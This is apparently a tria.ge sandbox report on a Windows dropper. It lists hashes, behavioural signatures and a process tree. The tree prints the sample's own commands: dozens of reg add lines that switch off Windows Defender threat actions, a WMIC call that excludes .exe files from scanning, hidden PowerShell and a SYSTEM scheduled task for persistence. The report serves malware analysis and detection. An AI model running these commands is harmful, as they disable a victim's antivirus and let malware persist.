Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    160s
  • max time network
    299s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    24/05/2024, 02:10

General

  • Target

    f2281302ac43d253f6c700854d14e93648f870963322bb77985464d20230eb33.exe

  • Size

    7.2MB

  • MD5

    f25476bd871d56d9dac97bdad27834f1

  • SHA1

    b68a26beb0da296cbd1e088507332244d1736f6d

  • SHA256

    f2281302ac43d253f6c700854d14e93648f870963322bb77985464d20230eb33

  • SHA512

    e532edb4e3f790eb6807e3152014a1430cc46f479c9366d8cee02528cd48792f33dfcab064b84933281b5d4b422f59b0a75375b9a258abdf144270a2485d166a

  • SSDEEP

    98304:91OujgzOdYbcFEqjT0VF8F/vm/OnKLOv3T2L6MsoLqi42oyT2qED9/xyOGcKX4/n:91Ofncax8B+2Kojm3tE5/xyOdPgTtM+A

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 35 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 58 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f2281302ac43d253f6c700854d14e93648f870963322bb77985464d20230eb33.exe
    "C:\Users\Admin\AppData\Local\Temp\f2281302ac43d253f6c700854d14e93648f870963322bb77985464d20230eb33.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4144
    • C:\Users\Admin\AppData\Local\Temp\7zS6542.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1872
      • C:\Users\Admin\AppData\Local\Temp\7zS6745.tmp\Install.exe
        .\Install.exe /gYssmdidEv "525403" /S
        3⤵
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:236
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2232
          • C:\Windows\SysWOW64\forfiles.exe
            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4376
            • C:\Windows\SysWOW64\cmd.exe
              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:5012
              • \??\c:\windows\SysWOW64\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                7⤵
                  PID:4744
            • C:\Windows\SysWOW64\forfiles.exe
              forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2584
              • C:\Windows\SysWOW64\cmd.exe
                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:4988
                • \??\c:\windows\SysWOW64\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                  7⤵
                    PID:3872
              • C:\Windows\SysWOW64\forfiles.exe
                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4948
                • C:\Windows\SysWOW64\cmd.exe
                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2824
                  • \??\c:\windows\SysWOW64\reg.exe
                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                    7⤵
                      PID:4624
                • C:\Windows\SysWOW64\forfiles.exe
                  forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1760
                  • C:\Windows\SysWOW64\cmd.exe
                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1892
                    • \??\c:\windows\SysWOW64\reg.exe
                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                      7⤵
                        PID:4064
                  • C:\Windows\SysWOW64\forfiles.exe
                    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4240
                    • C:\Windows\SysWOW64\cmd.exe
                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:5076
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell start-process -WindowStyle Hidden gpupdate.exe /force
                        7⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:2900
                        • C:\Windows\SysWOW64\gpupdate.exe
                          "C:\Windows\system32\gpupdate.exe" /force
                          8⤵
                            PID:2348
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3764
                    • C:\Windows\SysWOW64\cmd.exe
                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2352
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                        6⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5028
                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                          7⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:648
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /CREATE /TN "butYHpXTvMdZIJsEKZ" /SC once /ST 02:11:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS6745.tmp\Install.exe\" LY /PsldidjVGg 525403 /S" /V1 /F
                    4⤵
                    • Drops file in Windows directory
                    • Creates scheduled task(s)
                    PID:5112
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn butYHpXTvMdZIJsEKZ"
                    4⤵
                      PID:2964
                      • C:\Windows\SysWOW64\cmd.exe
                        /C schtasks /run /I /tn butYHpXTvMdZIJsEKZ
                        5⤵
                          PID:2852
                          • \??\c:\windows\SysWOW64\schtasks.exe
                            schtasks /run /I /tn butYHpXTvMdZIJsEKZ
                            6⤵
                              PID:1472
                  • C:\Users\Admin\AppData\Local\Temp\7zS6745.tmp\Install.exe
                    C:\Users\Admin\AppData\Local\Temp\7zS6745.tmp\Install.exe LY /PsldidjVGg 525403 /S
                    1⤵
                    • Executes dropped EXE
                    • Drops desktop.ini file(s)
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    PID:2888
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                      2⤵
                        PID:1288
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                          3⤵
                            PID:4492
                            • C:\Windows\SysWOW64\cmd.exe
                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                              4⤵
                                PID:5024
                                • \??\c:\windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                  5⤵
                                    PID:4608
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                3⤵
                                  PID:3024
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                    4⤵
                                      PID:404
                                      • \??\c:\windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                        5⤵
                                          PID:1980
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                      3⤵
                                        PID:64
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                          4⤵
                                            PID:3044
                                            • \??\c:\windows\SysWOW64\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                              5⤵
                                                PID:4356
                                          • C:\Windows\SysWOW64\forfiles.exe
                                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                            3⤵
                                              PID:2604
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                4⤵
                                                  PID:4920
                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                    5⤵
                                                      PID:4148
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                  3⤵
                                                    PID:4140
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                      4⤵
                                                        PID:2908
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                          5⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Drops file in System32 directory
                                                          • Modifies data under HKEY_USERS
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:1584
                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                            6⤵
                                                              PID:3636
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                      2⤵
                                                      • Drops file in System32 directory
                                                      • Modifies data under HKEY_USERS
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2780
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:3880
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                            4⤵
                                                              PID:4100
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                            3⤵
                                                              PID:4976
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                              3⤵
                                                                PID:4712
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                3⤵
                                                                  PID:3092
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                  3⤵
                                                                    PID:4952
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                    3⤵
                                                                      PID:5104
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                      3⤵
                                                                        PID:2636
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                        3⤵
                                                                          PID:3856
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                          3⤵
                                                                            PID:2300
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                            3⤵
                                                                              PID:2344
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                              3⤵
                                                                                PID:4680
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                3⤵
                                                                                  PID:836
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                  3⤵
                                                                                    PID:3428
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                    3⤵
                                                                                      PID:2936
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                      3⤵
                                                                                        PID:5004
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                        3⤵
                                                                                          PID:3512
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                          3⤵
                                                                                            PID:2700
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                            3⤵
                                                                                              PID:932
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                              3⤵
                                                                                                PID:2560
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                3⤵
                                                                                                  PID:2144
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                  3⤵
                                                                                                    PID:3008
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                    3⤵
                                                                                                      PID:4264
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                      3⤵
                                                                                                        PID:3136
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                        3⤵
                                                                                                          PID:796
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                          3⤵
                                                                                                            PID:648
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                            3⤵
                                                                                                              PID:1404
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                              3⤵
                                                                                                                PID:3580
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
